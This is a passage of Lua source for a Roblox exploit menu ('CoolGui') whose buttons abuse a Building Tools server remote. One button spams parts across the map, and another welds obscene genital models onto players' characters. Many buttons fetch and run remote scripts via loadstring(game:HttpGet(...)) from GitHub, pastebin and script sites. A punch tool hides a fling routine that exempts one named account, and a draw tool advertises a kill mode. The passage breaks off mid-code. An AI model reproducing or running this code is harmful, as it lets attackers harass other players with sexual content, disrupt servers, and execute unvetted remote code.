task.spawn(C_44);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_46()
local script = G2L["46"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--rgrg
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = workspace
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
hrpcf = player.Character.HumanoidRootPart.CFrame
while wait(0.5) do
x = hrpcf.x
z = hrpcf.z
randint = math.random(-600,600)
randint2 = math.random(-600,600)
xloc = randint + x
zloc = randint2 + z
cf = player.Character.HumanoidRootPart.CFrame.y + 400
spawn(function()
CreatePart(CFrame.new(math.floor(xloc), math.random(cf,cf+400), math.floor(zloc)))
for i,v in game.Workspace:GetDescendants() do
if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
SetName(v,"b_1337")
SetAnchor(false,v)
AddMesh(v)
Resize(v, Vector3.new(100,100,100),v.CFrame)
MeshResize(v,Vector3.new(20,20,20))
SetMesh(v,"1618237875")
SetTexture(v, "1618237897")
SetCollision(v,false)
else
end
end
end)
end
end)
end;
task.spawn(C_46);
-- StarterGui.CoolGui.main.page1.btools.button.LocalScript
local function C_48()
local script = G2L["48"];
local button = script.Parent
button.MouseButton1Down:connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Penis(player)
char = player.Character
for i,v in char:GetChildren() do
pcall(function()
SetLocked(v,false)
end)
end
if player.Character:FindFirstChild("Penis") then
return
else
SetAnchor(true,player.Character.HumanoidRootPart)
spawn(function()
CreatePart(player.Character:WaitForChild("Right Leg").CFrame * CFrame.new(-0.8,1,-0.6),player.Character)
SetName(player.Character.Part,"Balls1")
CreatePart(player.Character:WaitForChild("Left Leg").CFrame * CFrame.new(0.8,1,-0.6),player.Character)
SetName(player.Character.Part,"Balls2")
end)
wait(0.2)
repeat wait() until char:FindFirstChild("Balls2")
print("done")
spawn(function()
CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-1.3),player.Character)
SetName(player.Character.Part,"Penis")
CreatePart(player.Character:WaitForChild("Torso").CFrame * CFrame.new(0,-1,-2.5),player.Character)
SetName(player.Character.Part,"Head1")
end)
repeat wait() until char:FindFirstChild("Head1")
spawn(function()
AddMesh(char.Balls1)
AddMesh(char.Balls2)
AddMesh(char.Head1)
AddMesh(char.Penis)
end)
repeat wait() until char.Penis:FindFirstChild("Mesh")
spawn(function()
SetMesh(char.Penis,"4743972117")
SetMesh(char.Head1,"4743972117")
MeshResize(char.Penis,Vector3.new(0.5,0.5,3))
MeshResize(char.Head1,Vector3.new(0.5,0.5,1))
end)
spawn(function()
Weld(char.Penis,char.HumanoidRootPart,char.Penis)
SetMesh(char.Balls1,"5697933202")
SetMesh(char.Balls2,"5697933202")
MeshResize(char.Balls1,Vector3.new(0.2,0.2,0.2))
MeshResize(char.Balls2,Vector3.new(0.2,0.2,0.2))
end)
wait(0.2)
pcall(function()
Color(char.Balls1,char:WaitForChild("Torso").Color)
Color(char.Balls2,char:WaitForChild("Torso").Color)
Color(char.Penis,char:WaitForChild("Torso").Color)
Color(char.Head1, Color3.fromRGB(255,100,100))
end)
wait(0.2)
spawn(function()
SetCollision(player.Character.Balls1,false)
SetCollision(player.Character.Balls2,false)
SetCollision(player.Character.Penis,false)
SetCollision(player.Character.Head1,false)
end)
wait(0.2)
spawn(function()
Weld(char.Balls1,char.HumanoidRootPart,char.Balls1)
Weld(char.Balls2,char.Balls1,char.Balls2)
Weld(char.Head1,char.Penis,char.Head1)
end)
wait(0.2)
spawn(function()
SetAnchor(false,char.Balls1)
SetAnchor(false,char.Balls2)
SetAnchor(false,char.Penis)
SetAnchor(false,char.Head1)
SetAnchor(false,char.HumanoidRootPart)
end)
repeat wait()
SetAnchor(false,char.HumanoidRootPart)
SetAnchor(false,char.Balls1)
SetAnchor(false,char.Balls2)
SetAnchor(false,char.Penis)
SetAnchor(false,char.Head1)
until char.Head1.Anchored == false
end
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
--pcall(function()
Penis(player)
--end)
--end)
end
end)
end;
task.spawn(C_48);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_4c()
local script = G2L["4c"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source"))()
end)
end;
task.spawn(C_4c);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_4e()
local script = G2L["4e"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://pastebin.com/raw/h1TN1kij'))()
end)
end;
task.spawn(C_4e);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_50()
local script = G2L["50"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://github.com/FilteringEnabled/NamelessAdmin/blob/main/Source?raw=true"))()
end)
end;
task.spawn(C_50);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_52()
local script = G2L["52"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/OpFinality_590"))()
end)
end;
task.spawn(C_52);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_54()
local script = G2L["54"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-FE-Bomb-Planting-Script-16837"))()
end)
end;
task.spawn(C_54);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_56()
local script = G2L["56"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ltseverydayyou/Nameless-Admin/refs/heads/main/NAexecutor.lua"))()
end)
end;
task.spawn(C_56);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_58()
local script = G2L["58"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet('https://raw.githubusercontent.com/alexx1212/fedoratoomutch/main/toomucth'))()
end)
end;
task.spawn(C_58);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_5a()
local script = G2L["5a"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/XNEOFF/FlyGuiV3/main/FlyGuiV3.txt"))()
end)
end;
task.spawn(C_5a);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_5c()
local script = G2L["5c"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/fatesc/fates-admin/main/main.lua"))();
end)
end;
task.spawn(C_5c);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_5e()
local script = G2L["5e"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/Pa1ntex/reviz-admin-v2-script-FE/refs/heads/main/Reviz%20admin%20v2%20FE"))();
end)
end;
task.spawn(C_5e);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_60()
local script = G2L["60"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/ltseverydayyou/Nameless-Admin/refs/heads/main/fake%20chatte"))();
end)
end;
task.spawn(C_60);
-- StarterGui.CoolGui.main.page1.admg.button.LocalScript
local function C_62()
local script = G2L["62"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://raw.githubusercontent.com/FilteringEnabled/FE/refs/heads/main/ScriptHub"))();
end)
end;
task.spawn(C_62);
-- StarterGui.CoolGui.main.page2.gt.button.LocalScript
local function C_67()
local script = G2L["67"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:GetObjects("rbxassetid://6695644299")[1].Source)()
end)
end;
task.spawn(C_67);
-- StarterGui.CoolGui.main.page2.gt.button.LocalScript
local function C_69()
local script = G2L["69"];
local button = script.Parent
button.MouseButton1Down:connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
local plr = game.Players.LocalPlayer
local tool = Instance.new("Tool", plr.Backpack)
tool.GripPos = Vector3.new(0, 0, -1.5)
tool.GripForward = Vector3.new(0, -1, 0) -- Adjusted to face upward
tool.GripRight = Vector3.new(1, 0, 0)
tool.GripUp = Vector3.new(0, 0, 1)
tool.Name = "Punch"
tool.TextureId = "rbxassetid://1545265044"
tool.RequiresHandle = true
tool.CanBeDropped = true
local k = Instance.new("Part", tool)
k.Name = "Handle"
k.Size = Vector3.new(1, 0.8, 4)
k.Anchored = false
k.CanCollide = false
local mesh = Instance.new("SpecialMesh", k)
mesh.MeshId = "" -- Replace with your mesh ID
mesh.TextureId = ""
mesh.Scale = Vector3.new(0, 0, 0)
mesh.Offset = Vector3.new(0, 0, 0)
mesh.VertexColor = Vector3.new(1, 1, 1)
local Unsheath = Instance.new("Sound", k)
Unsheath.SoundId = ""
Unsheath.Volume = "1"
Unsheath.TimePosition = 0
local SwordSlash = Instance.new("Sound", k)
SwordSlash.SoundId = "http://www.roblox.com/asset/?id=8595980577"
SwordSlash.Volume = "1"
SwordSlash.TimePosition = 0
local l = Instance.new("Animation", tool)
l.AnimationId = "rbxassetid://204062532"
local m = plr.Character.Humanoid:LoadAnimation(l)
local db = true
local da = false
tool.Equipped:Connect(function()
Unsheath:Play()
wait(1)
tool.Activated:Connect(function()
if db == true then
db = false
SwordSlash:Play()
m:Play()
wait()
da = true
db = true
wait(2)
da = false
m:Stop()
end
end)
end)
k.Touched:Connect(function(n)
if da == true then
local o = n.Parent:FindFirstChild("Humanoid")
if o ~= nil then
local p = game.Players:FindFirstChild(n.Parent.Name)
for j = 1, 10 do
if p.Name ~= "FunnyVideo15" then
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end
end
end
end
wait(2)
hiddenfling = false
end)
end)
end;
task.spawn(C_69);
-- StarterGui.CoolGui.main.page2.gt.button.LocalScript
local function C_6b()
local script = G2L["6b"];
local button = script.Parent
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://cdn.wearedevs.net/scripts/BTools.txt"))()
end)
end;
task.spawn(C_6b);
-- StarterGui.CoolGui.main.page2.gt.button.LocalScript
local function C_6d()
local script = G2L["6d"];
local button = script.Parent
button.MouseButton1Down:connect(function()
-- Toggle : [=] (enable / disable drawing)
-- Undo : [Z] (remove last drawn line in canvas)
-- Draw : [Left Click] (draw)
-- Clear : [F] (clear canvas)
-- Rainbow : [R] (toggle rainbow color drawings)
-- Neon Glow : [X] (toggle glowing drawings)
-- Other in GUI
-- Toxicity : [Q] (toggle toxicity aka kills people)
local plr = game:GetService("Players").LocalPlayer
char = plr.Character
mouse = plr:GetMouse()
function tween(object,style,direction,t,goal)
local tweenservice = game:GetService("TweenService")
local tweenInfo = TweenInfo.new(t,Enum.EasingStyle[style],Enum.EasingDirection[direction])
local tween = tweenservice:Create(object,tweenInfo,goal)
tween:Play()
return tween
end
enabled = true
local pgui = game.Players.LocalPlayer:WaitForChild("PlayerGui")
GUI = Instance.new("ScreenGui")
GUI.ResetOnSpawn = false
Frame1 = Instance.new("Frame")
TextLabel2 = Instance.new("TextLabel")
Frame3 = Instance.new("Frame")
Frame4 = Instance.new("Frame")
Frame5 = Instance.new("Frame")
Frame6 = Instance.new("Frame")
TextLabel7 = Instance.new("TextLabel")
TextLabel8 = Instance.new("TextLabel")
TextLabel9 = Instance.new("TextLabel")
TextLabel10 = Instance.new("TextLabel")
Frame11 = Instance.new("Frame")
Frame12 = Instance.new("Frame")
Frame13 = Instance.new("Frame")
Frame14 = Instance.new("Frame")
Frame15 = Instance.new("Frame")
Frame16 = Instance.new("Frame")
ImageButton17 = Instance.new("ImageButton")
TextLabel18 = Instance.new("TextLabel")
ImageButton19 = Instance.new("ImageButton")
LocalScript20 = Instance.new("LocalScript")
Color3Value21 = Instance.new("Color3Value")
TextLabel22 = Instance.new("TextLabel")
TextLabel23 = Instance.new("TextLabel")
TextLabel24 = Instance.new("TextLabel")
TextLabel25 = Instance.new("TextLabel")
GUI.Parent = pgui
Frame1.Name = "Settings"
Frame1.Parent = GUI
Frame1.Transparency = 0.80000001192093
Frame1.Size = UDim2.new(0, 191, 0, 130)
Frame1.Position = UDim2.new(0, 266, 0, 130)
Frame1.Active = true
Frame1.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
Frame1.BackgroundTransparency = 0.80000001192093
Frame1.BorderColor3 = Color3.new(1, 1, 1)
Frame1.BorderSizePixel = 0
Frame1.Draggable = true
TextLabel2.Parent = Frame1
TextLabel2.Size = UDim2.new(0, 191, 0, 15)
TextLabel2.Text = "Neodymn's Draw Tool"
TextLabel2.Position = UDim2.new(0, 0, 0, 5)
TextLabel2.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel2.BackgroundTransparency = 1
TextLabel2.Font = Enum.Font.SourceSansBold
TextLabel2.TextSize = 22
TextLabel2.TextColor3 = Color3.new(1, 1, 1)
TextLabel2.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel2.TextWrapped = false
Frame3.Parent = Frame1
Frame3.Size = UDim2.new(0, 3, 1, 0)
Frame3.Position = UDim2.new(0, -3, 0, 0)
Frame3.BackgroundColor3 = Color3.new(1, 1, 1)
Frame3.BorderSizePixel = 0
Frame4.Parent = Frame1
Frame4.Size = UDim2.new(0, 3, 1, 0)
Frame4.Position = UDim2.new(1, 0, 0, 0)
Frame4.BackgroundColor3 = Color3.new(1, 1, 1)
Frame4.BorderSizePixel = 0
Frame5.Parent = Frame1
Frame5.Size = UDim2.new(1, 0, 0, 3)
Frame5.Position = UDim2.new(0, 0, 0, -3)
Frame5.BackgroundColor3 = Color3.new(1, 1, 1)
Frame5.BorderSizePixel = 0
Frame6.Parent = Frame1
Frame6.Size = UDim2.new(1, 0, 0, 3)
Frame6.Position = UDim2.new(0, 0, 1, 0)
Frame6.BackgroundColor3 = Color3.new(1, 1, 1)
Frame6.BorderSizePixel = 0
TextLabel7.Parent = Frame1
TextLabel7.Size = UDim2.new(0, 95, 0, 25)
TextLabel7.Text = "Thickness (m/n)"
TextLabel7.Position = UDim2.new(0, 5, 0, 25)
TextLabel7.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel7.BackgroundTransparency = 1
TextLabel7.Font = Enum.Font.SourceSansBold
TextLabel7.TextSize = 20
TextLabel7.TextColor3 = Color3.new(1, 1, 1)
TextLabel7.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel7.TextXAlignment = Enum.TextXAlignment.Left
TextLabel8.Parent = Frame1
TextLabel8.Size = UDim2.new(0, 95, 0, 25)
TextLabel8.Text = "Can Collide (c)"
TextLabel8.Position = UDim2.new(0, 5, 0, 50)
TextLabel8.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel8.BackgroundTransparency = 1
TextLabel8.Font = Enum.Font.SourceSansBold
TextLabel8.TextSize = 20
TextLabel8.TextColor3 = Color3.new(1, 1, 1)
TextLabel8.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel8.TextXAlignment = Enum.TextXAlignment.Left
TextLabel9.Parent = Frame1
TextLabel9.Size = UDim2.new(0, 95, 0, 25)
TextLabel9.Text = "Opacity (b/v)"
TextLabel9.Position = UDim2.new(0, 5, 0, 75)
TextLabel9.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel9.BackgroundTransparency = 1
TextLabel9.Font = Enum.Font.SourceSansBold
TextLabel9.TextSize = 20
TextLabel9.TextColor3 = Color3.new(1, 1, 1)
TextLabel9.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel9.TextXAlignment = Enum.TextXAlignment.Left
TextLabel10.Parent = Frame1
TextLabel10.Size = UDim2.new(0, 95, 0, 25)
TextLabel10.Text = "Color (r)"
TextLabel10.Position = UDim2.new(0, 5, 0, 100)
TextLabel10.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel10.BackgroundTransparency = 1
TextLabel10.Font = Enum.Font.SourceSansBold
TextLabel10.TextSize = 20
TextLabel10.TextColor3 = Color3.new(1, 1, 1)
TextLabel10.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel10.TextXAlignment = Enum.TextXAlignment.Left
Frame11.Name = "Color"
Frame11.Parent = Frame1
Frame11.Transparency = 0.80000001192093
Frame11.Size = UDim2.new(0, 121, 0, 115)
Frame11.Position = UDim2.new(0, 201, 0, 15)
Frame11.BackgroundColor3 = Color3.new(0.0470588, 0.0509804, 0.0588235)
Frame11.BackgroundTransparency = 0.80000001192093
Frame11.BorderColor3 = Color3.new(1, 1, 1)
Frame11.BorderSizePixel = 0
Frame11.Draggable = true
Frame12.Parent = Frame11
Frame12.Size = UDim2.new(0, 3, 1, 0)
Frame12.Position = UDim2.new(1, 0, 0, 0)
Frame12.BackgroundColor3 = Color3.new(1, 1, 1)
Frame12.BorderSizePixel = 0
Frame13.Parent = Frame11
Frame13.Size = UDim2.new(1, 0, 0, 3)
Frame13.Position = UDim2.new(0, 0, 0, -3)
Frame13.BackgroundColor3 = Color3.new(1, 1, 1)
Frame13.BorderSizePixel = 0
Frame14.Parent = Frame11
Frame14.Size = UDim2.new(1, 0, 0, 3)
Frame14.Position = UDim2.new(0, 0, 1, 0)
Frame14.BackgroundColor3 = Color3.new(1, 1, 1)
Frame14.BorderSizePixel = 0
Frame15.Parent = Frame11
Frame15.Size = UDim2.new(0, 3, 1, 0)
Frame15.Position = UDim2.new(0, -3, 0, 0)
Frame15.BackgroundColor3 = Color3.new(1, 1, 1)
Frame15.BorderSizePixel = 0
Frame16.Name = "Picker"
Frame16.Parent = Frame11
Frame16.Transparency = 1
Frame16.Size = UDim2.new(0, 286, 0, 255)
Frame16.Position = UDim2.new(0, -372, 0, -55)
Frame16.BackgroundColor3 = Color3.new(0.498039, 0.247059, 0.247059)
Frame16.BackgroundTransparency = 1
Frame16.BorderColor3 = Color3.new(0, 0, 0)
ImageButton17.Name = "SV"
ImageButton17.Parent = Frame16
ImageButton17.Size = UDim2.new(0, 101, 0, 105)
ImageButton17.Position = UDim2.new(0, 377, 0, 60)
ImageButton17.BackgroundColor3 = Color3.new(1, 0, 0)
ImageButton17.BorderColor3 = Color3.new(0, 0, 0)
ImageButton17.BorderSizePixel = 0
ImageButton17.AutoButtonColor = false
ImageButton17.Image = "http://www.roblox.com/asset/?id=42462986"
TextLabel18.Name = "Locator"
TextLabel18.Parent = ImageButton17
TextLabel18.Text = "o"
TextLabel18.Position = UDim2.new(0.5, 0, 0.5, 0)
TextLabel18.BorderColor3 = Color3.new(0, 0, 0)
TextLabel18.FontSize = Enum.FontSize.Size12
TextLabel18.TextColor3 = Color3.new(1, 1, 1)
ImageButton19.Name = "H"
ImageButton19.Parent = Frame16
ImageButton19.Size = UDim2.new(0, 10, 0, 105)
ImageButton19.Position = UDim2.new(0, 477, 0, 60)
ImageButton19.BorderColor3 = Color3.new(0, 0, 0)
ImageButton19.BorderSizePixel = 0
ImageButton19.AutoButtonColor = false
ImageButton19.Image = "http://www.roblox.com/asset/?id=42463044"
LocalScript20.Parent = Frame16
Color3Value21.Name = "Col"
Color3Value21.Parent = Frame11
TextLabel22.Name = "ColorT"
TextLabel22.Parent = Frame1
TextLabel22.Size = UDim2.new(0, 65, 0, 25)
TextLabel22.Text = "0, 0, 0"
TextLabel22.Position = UDim2.new(0, 126, 0, 100)
TextLabel22.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel22.BackgroundTransparency = 1
TextLabel22.Font = Enum.Font.SourceSansBold
TextLabel22.TextSize = 20
TextLabel22.TextColor3 = Color3.new(1, 1, 1)
TextLabel22.TextScaled = true
TextLabel22.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel22.TextWrapped = true
TextLabel23.Name = "Transparent"
TextLabel23.Parent = Frame1
TextLabel23.Size = UDim2.new(0, 25, 0, 25)
TextLabel23.Text = "0"
TextLabel23.Position = UDim2.new(0, 146, 0, 75)
TextLabel23.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel23.BackgroundTransparency = 1
TextLabel23.Font = Enum.Font.SourceSansBold
TextLabel23.TextSize = 20
TextLabel23.TextColor3 = Color3.new(1, 1, 1)
TextLabel23.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel23.TextWrapped = true
TextLabel24.Name = "CanCollide"
TextLabel24.Parent = Frame1
TextLabel24.Size = UDim2.new(0, 55, 0, 25)
TextLabel24.Text = "false"
TextLabel24.Position = UDim2.new(0, 131, 0, 50)
TextLabel24.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel24.BackgroundTransparency = 1
TextLabel24.Font = Enum.Font.SourceSansBold
TextLabel24.TextSize = 20
TextLabel24.TextColor3 = Color3.new(1, 1, 1)
TextLabel24.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel24.TextWrapped = true
TextLabel25.Name = "Thickness"
TextLabel25.Parent = Frame1
TextLabel25.Size = UDim2.new(0, 25, 0, 25)
TextLabel25.Text = "1"
TextLabel25.Position = UDim2.new(0, 146, 0, 25)
TextLabel25.BackgroundColor3 = Color3.new(1, 1, 1)
TextLabel25.BackgroundTransparency = 1
TextLabel25.Font = Enum.Font.SourceSansBold
TextLabel25.TextSize = 20
TextLabel25.TextColor3 = Color3.new(1, 1, 1)
TextLabel25.TextStrokeColor3 = Color3.new(1, 1, 1)
TextLabel25.TextWrapped = true
presets = GUI.Settings
colors = presets.Color
function round(num, numDecimalPlaces)
local mult = 10^(numDecimalPlaces or 0)
return tostring(math.floor(num * mult + 0.5) / mult)
end
spawn(function()
local frame = colors.Picker
local sv = frame.SV
local h = frame.H
local locator = sv.Locator
local hue = 0
local saturation = 0.5
local value = 0.5
local changingHue = false
local changingSv = false
function getRGBfromHue()
local r,g,b = 0,0,0
if hue>=120 and hue<=240 then r = 0
elseif hue>=300 or hue<=60 then r = 1
elseif hue>60 and hue<120 then r = 1-(hue-60)/60
elseif hue>240 and hue<300 then r = (hue-240)/60
end
if hue>=240 and hue<=360 then g = 0
elseif hue>=60 and hue<=180 then g = 1
elseif hue>180 and hue<240 then g = 1-(hue-180)/60
elseif hue<60 then g = hue/60
end
if hue<=120 then b = 0
elseif hue>=180 and hue<=300 then b = 1
elseif hue>120 and hue<180 then b = (hue-120)/60
elseif hue>300 and hue<360 then b = 1-(hue-300)/60
end
return r,g,b
end
function changeHue(x,y)
if not changingHue then return end
hue = 360*(1-(y-h.AbsolutePosition.y)/h.AbsoluteSize.y)+85
local r,g,b = getRGBfromHue()
sv.BackgroundColor3 = Color3.new(r,g,b)
toRGB()
end
function changeSv(x,y)
if not changingSv then return end
local x,y = x-sv.AbsolutePosition.x,y-sv.AbsolutePosition.y-35
locator.Position = UDim2.new(0,x,0,y)
if y>=(sv.AbsoluteSize.y)/2 then locator.TextColor3 = Color3.new(1,1,1) else locator.TextColor3 = Color3.new(0,0,0) end
saturation,value = 1-(x/sv.AbsoluteSize.x), 1-(y/sv.AbsoluteSize.y)
toRGB()
end
function toRGB()
local r,g,b = getRGBfromHue()
local max = math.max(r,g,b)
r,g,b = value*(r+saturation*(max-r)),value*(g+saturation*(max-g)),value*(b+saturation*(max-b))
colors.Col.Value = Color3.new(r,g,b)
end
h.MouseButton1Down:connect(function(x,y) changingHue = true changeHue(x,y) end)
h.MouseButton1Up:connect(function() changingHue = false end)
h.MouseMoved:connect(changeHue)
sv.MouseButton1Down:connect(function(x,y) changingSv = true changeSv(x,y) end)
sv.MouseButton1Up:connect(function() changingSv = false end)
sv.MouseMoved:connect(changeSv)
end)
spawn(function()
while wait() do
if transparency < 0 then transparency = 0 end
if transparency > 1 then transparency = 0 end
color = colors.Col.Value
local c = color
if c.r < 0 then
c = Color3.new(0,c.g,c.b)
end
if c.g < 0 then
c = Color3.new(c.r,0,c.b)
end
if c.b < 0 then
c = Color3.new(c.r,c.g,0)
end
if c.r > 1 then
c = Color3.new(1,c.g,c.b)
end
if c.g > 1 then
c = Color3.new(c.r,1,c.b)
end
if c.b > 1 then
c = Color3.new(c.r,c.g,1)
end
color = c
